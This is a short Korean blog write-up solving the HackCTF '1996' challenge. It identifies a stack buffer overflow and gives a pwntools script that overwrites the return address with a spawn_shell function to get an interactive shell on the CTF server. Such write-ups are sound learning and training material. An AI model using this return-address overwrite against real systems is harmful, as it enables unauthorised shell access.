Wargame/HackCTF
[HackCTF] 1996 풀이 (200p)
bjloed
2020. 8. 23. 22:45
풀이
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
먼저 1996을 실행해보자.
환경변수를 입력받고, 그 값을 알려주는 코드같다.
이 문제는 슈도코드를 볼 필요도 없이, 그냥 간단한 bof로 풀 수 있다. 이게 왜 200점이지?
입력받는 주소는 rbp-410h이니까, 0x410 + SFP(8) + ret(spawn_shell) 해주면 끝이다.
1 from pwn import *
2
3 p = remote('ctf.j0n9hyun.xyz', 3013)
4
5 payload = '\x90'*0x410
6 payload += 'A'*8
7 payload += p64(0x0000000000400897)
8 p.sendlineafter('? ', payload)
9 p.interactive()